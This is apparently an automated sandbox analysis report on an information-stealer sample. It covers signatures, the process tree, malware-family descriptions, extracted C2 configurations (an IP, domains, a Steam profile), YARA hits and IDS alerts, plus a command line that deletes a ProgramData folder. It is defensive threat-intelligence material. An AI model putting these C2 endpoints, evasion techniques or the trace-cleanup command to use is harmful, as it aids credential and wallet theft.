Edit tour

Windows Analysis Report
66fb252fe232b_Patksl.exe

Overview

General Information

Sample name:	66fb252fe232b_Patksl.exe
Analysis ID:	1524230
MD5:	34ec7a5a9154386680a400b65cada6cb
SHA1:	a97b1bf2c6af2499c31510bd8c2efce3c50482f6
SHA256:	f0bfcf5fc84fbbbe4b4a46cf51193a359cfddbd79aa88f81d6da4f5dab79ba70
Tags:	exeuser-aachum
Infos:

Detection

LummaC, PrivateLoader, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PrivateLoader

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

66fb252fe232b_Patksl.exe (PID: 2024 cmdline: "C:\Users\user\Desktop\66fb252fe232b_Patksl.exe" MD5: 34EC7A5A9154386680A400B65CADA6CB)

conhost.exe (PID: 5860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5632 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

d4BihqytT0FhOpDvoGEczZzm.exe (PID: 5504 cmdline: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe MD5: 237AF39F8B579AAD0205F6174BB96239)

conhost.exe (PID: 6264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5888 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

HDGIJJDGCB.exe (PID: 6348 cmdline: "C:\ProgramData\HDGIJJDGCB.exe" MD5: C7E7CFC3ED17AEF6C67C265389593EE3)

conhost.exe (PID: 2744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5780 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

EBKJDBAAKJ.exe (PID: 4160 cmdline: "C:\ProgramData\EBKJDBAAKJ.exe" MD5: 237AF39F8B579AAD0205F6174BB96239)

conhost.exe (PID: 6452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7072 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

AAAKEBGDAF.exe (PID: 5280 cmdline: "C:\ProgramData\AAAKEBGDAF.exe" MD5: 022CC85ED0F56A3F3E8AEC4AE3B80A71)

conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5140 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 1824 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userDHCAECGIEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userDHCAECGIEB.exe (PID: 6256 cmdline: "C:\Users\userDHCAECGIEB.exe" MD5: 237AF39F8B579AAD0205F6174BB96239)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4892 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6688 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 3504 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAKKEGCAAE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBAKKEGCAAE.exe (PID: 1132 cmdline: "C:\Users\userBAKKEGCAAE.exe" MD5: C7E7CFC3ED17AEF6C67C265389593EE3)

conhost.exe (PID: 6336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3708 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4208 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 4788 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDGCGDBGCAAE" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6848 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
PrivateLoader	According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem	https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["mysterisop.site", "treatynreit.site", "abnomalrkmu.site", "questionsmw.stor", "absorptioniw.site", "chorusarorp.site", "snarlypagowo.site", "soldiefieop.site"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "8b4d47586874b08947203f03e4db3962"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000007.00000002.3153652964.000000000120A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3584946793.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3126199282.0000000003DD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 5632	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 5888	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5888	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5888	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7072	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AAAKEBGDAF.exe PID: 5280	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5140	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5140	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5140	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 6688	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
30.2.AAAKEBGDAF.exe.3dd5570.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.AAAKEBGDAF.exe.3dd5570.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.RegAsm.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
7.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
32.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 7 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:16:30.674790+0200	2028765	3	Unknown Traffic	192.168.2.6	65231	49.12.197.9	443	TCP
2024-10-02T17:16:31.829967+0200	2028765	3	Unknown Traffic	192.168.2.6	65232	49.12.197.9	443	TCP
2024-10-02T17:16:33.213110+0200	2028765	3	Unknown Traffic	192.168.2.6	65233	49.12.197.9	443	TCP
2024-10-02T17:16:34.567461+0200	2028765	3	Unknown Traffic	192.168.2.6	65234	49.12.197.9	443	TCP
2024-10-02T17:16:35.923245+0200	2028765	3	Unknown Traffic	192.168.2.6	65235	49.12.197.9	443	TCP
2024-10-02T17:16:37.347023+0200	2028765	3	Unknown Traffic	192.168.2.6	65236	49.12.197.9	443	TCP
2024-10-02T17:16:38.354204+0200	2028765	3	Unknown Traffic	192.168.2.6	65237	49.12.197.9	443	TCP
2024-10-02T17:16:41.397948+0200	2028765	3	Unknown Traffic	192.168.2.6	65238	49.12.197.9	443	TCP
2024-10-02T17:16:42.498367+0200	2028765	3	Unknown Traffic	192.168.2.6	65239	49.12.197.9	443	TCP
2024-10-02T17:16:43.803554+0200	2028765	3	Unknown Traffic	192.168.2.6	65240	49.12.197.9	443	TCP
2024-10-02T17:16:44.891714+0200	2028765	3	Unknown Traffic	192.168.2.6	65242	49.12.197.9	443	TCP
2024-10-02T17:16:46.621439+0200	2028765	3	Unknown Traffic	192.168.2.6	65243	49.12.197.9	443	TCP
2024-10-02T17:16:48.295405+0200	2028765	3	Unknown Traffic	192.168.2.6	65244	49.12.197.9	443	TCP
2024-10-02T17:16:49.970947+0200	2028765	3	Unknown Traffic	192.168.2.6	65245	49.12.197.9	443	TCP
2024-10-02T17:16:52.150405+0200	2028765	3	Unknown Traffic	192.168.2.6	65246	49.12.197.9	443	TCP
2024-10-02T17:16:53.382931+0200	2028765	3	Unknown Traffic	192.168.2.6	65247	49.12.197.9	443	TCP
2024-10-02T17:16:56.742238+0200	2028765	3	Unknown Traffic	192.168.2.6	65250	49.12.197.9	443	TCP
2024-10-02T17:16:58.208585+0200	2028765	3	Unknown Traffic	192.168.2.6	65255	49.12.197.9	443	TCP
2024-10-02T17:16:59.677368+0200	2028765	3	Unknown Traffic	192.168.2.6	65257	49.12.197.9	443	TCP
2024-10-02T17:17:01.282365+0200	2028765	3	Unknown Traffic	192.168.2.6	65258	49.12.197.9	443	TCP
2024-10-02T17:17:03.144033+0200	2028765	3	Unknown Traffic	192.168.2.6	65261	49.12.197.9	443	TCP
2024-10-02T17:17:05.187070+0200	2028765	3	Unknown Traffic	192.168.2.6	65262	49.12.197.9	443	TCP
2024-10-02T17:17:08.259331+0200	2028765	3	Unknown Traffic	192.168.2.6	65264	49.12.197.9	443	TCP
2024-10-02T17:17:10.877715+0200	2028765	3	Unknown Traffic	192.168.2.6	65266	49.12.197.9	443	TCP
2024-10-02T17:17:13.684383+0200	2028765	3	Unknown Traffic	192.168.2.6	65269	49.12.197.9	443	TCP
2024-10-02T17:17:15.526619+0200	2028765	3	Unknown Traffic	192.168.2.6	65271	49.12.197.9	443	TCP
2024-10-02T17:17:33.177382+0200	2028765	3	Unknown Traffic	192.168.2.6	65286	49.12.197.9	443	TCP
2024-10-02T17:17:34.635984+0200	2028765	3	Unknown Traffic	192.168.2.6	65289	49.12.197.9	443	TCP
2024-10-02T17:17:36.168450+0200	2028765	3	Unknown Traffic	192.168.2.6	65292	49.12.197.9	443	TCP
2024-10-02T17:17:37.518377+0200	2028765	3	Unknown Traffic	192.168.2.6	65294	49.12.197.9	443	TCP
2024-10-02T17:17:39.419184+0200	2028765	3	Unknown Traffic	192.168.2.6	65296	49.12.197.9	443	TCP
2024-10-02T17:17:41.039367+0200	2028765	3	Unknown Traffic	192.168.2.6	65299	49.12.197.9	443	TCP
2024-10-02T17:17:42.366388+0200	2028765	3	Unknown Traffic	192.168.2.6	65300	49.12.197.9	443	TCP
2024-10-02T17:17:45.836373+0200	2028765	3	Unknown Traffic	192.168.2.6	65301	49.12.197.9	443	TCP
2024-10-02T17:17:47.334589+0200	2028765	3	Unknown Traffic	192.168.2.6	65302	49.12.197.9	443	TCP
2024-10-02T17:17:53.204717+0200	2028765	3	Unknown Traffic	192.168.2.6	65304	49.12.197.9	443	TCP
2024-10-02T17:17:55.581067+0200	2028765	3	Unknown Traffic	192.168.2.6	65305	49.12.197.9	443	TCP
2024-10-02T17:17:56.926179+0200	2028765	3	Unknown Traffic	192.168.2.6	65306	49.12.197.9	443	TCP
2024-10-02T17:17:58.320978+0200	2028765	3	Unknown Traffic	192.168.2.6	65307	49.12.197.9	443	TCP
2024-10-02T17:17:59.691104+0200	2028765	3	Unknown Traffic	192.168.2.6	65308	49.12.197.9	443	TCP
2024-10-02T17:18:01.136233+0200	2028765	3	Unknown Traffic	192.168.2.6	65309	49.12.197.9	443	TCP
2024-10-02T17:18:02.130210+0200	2028765	3	Unknown Traffic	192.168.2.6	65310	49.12.197.9	443	TCP
2024-10-02T17:18:05.313693+0200	2028765	3	Unknown Traffic	192.168.2.6	65311	49.12.197.9	443	TCP
2024-10-02T17:18:06.430352+0200	2028765	3	Unknown Traffic	192.168.2.6	65312	49.12.197.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:10.782744+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65265	104.21.77.132	443	TCP
2024-10-02T17:17:11.921412+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65267	188.114.96.3	443	TCP
2024-10-02T17:17:12.917875+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65268	104.21.56.150	443	TCP
2024-10-02T17:17:14.318990+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65270	104.21.84.18	443	TCP
2024-10-02T17:17:15.829961+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65272	104.21.18.193	443	TCP
2024-10-02T17:17:17.056672+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65274	104.21.21.3	443	TCP
2024-10-02T17:17:18.689688+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65276	172.67.177.186	443	TCP
2024-10-02T17:17:22.270865+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65278	104.21.16.12	443	TCP
2024-10-02T17:17:32.897464+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65284	104.21.77.132	443	TCP
2024-10-02T17:17:33.947663+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65287	188.114.96.3	443	TCP
2024-10-02T17:17:34.964080+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65288	104.21.56.150	443	TCP
2024-10-02T17:17:36.414769+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65291	104.21.18.193	443	TCP
2024-10-02T17:17:37.329154+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65293	104.21.21.3	443	TCP
2024-10-02T17:17:38.523341+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65295	172.67.177.186	443	TCP
2024-10-02T17:17:41.007105+0200	2054653	1	A Network Trojan was detected	192.168.2.6	65298	104.21.16.12	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:10.782744+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65265	104.21.77.132	443	TCP
2024-10-02T17:17:11.921412+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65267	188.114.96.3	443	TCP
2024-10-02T17:17:12.917875+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65268	104.21.56.150	443	TCP
2024-10-02T17:17:14.318990+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65270	104.21.84.18	443	TCP
2024-10-02T17:17:15.829961+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65272	104.21.18.193	443	TCP
2024-10-02T17:17:17.056672+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65274	104.21.21.3	443	TCP
2024-10-02T17:17:18.689688+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65276	172.67.177.186	443	TCP
2024-10-02T17:17:22.270865+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65278	104.21.16.12	443	TCP
2024-10-02T17:17:32.897464+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65284	104.21.77.132	443	TCP
2024-10-02T17:17:33.947663+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65287	188.114.96.3	443	TCP
2024-10-02T17:17:34.964080+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65288	104.21.56.150	443	TCP
2024-10-02T17:17:36.414769+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65291	104.21.18.193	443	TCP
2024-10-02T17:17:37.329154+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65293	104.21.21.3	443	TCP
2024-10-02T17:17:38.523341+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65295	172.67.177.186	443	TCP
2024-10-02T17:17:41.007105+0200	2049836	1	A Network Trojan was detected	192.168.2.6	65298	104.21.16.12	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:17.351373+0200	2054495	1	A Network Trojan was detected	192.168.2.6	65275	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:16.080661+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	65273	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:16.074233+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	65273	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:16.588941+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	65273	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:17.311419+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	65273	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:16:35.251787+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65234	TCP
2024-10-02T17:17:16.590072+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	65273	TCP
2024-10-02T17:17:38.522053+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65294	TCP
2024-10-02T17:17:59.043382+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65307	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:16:36.607120+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65235	TCP
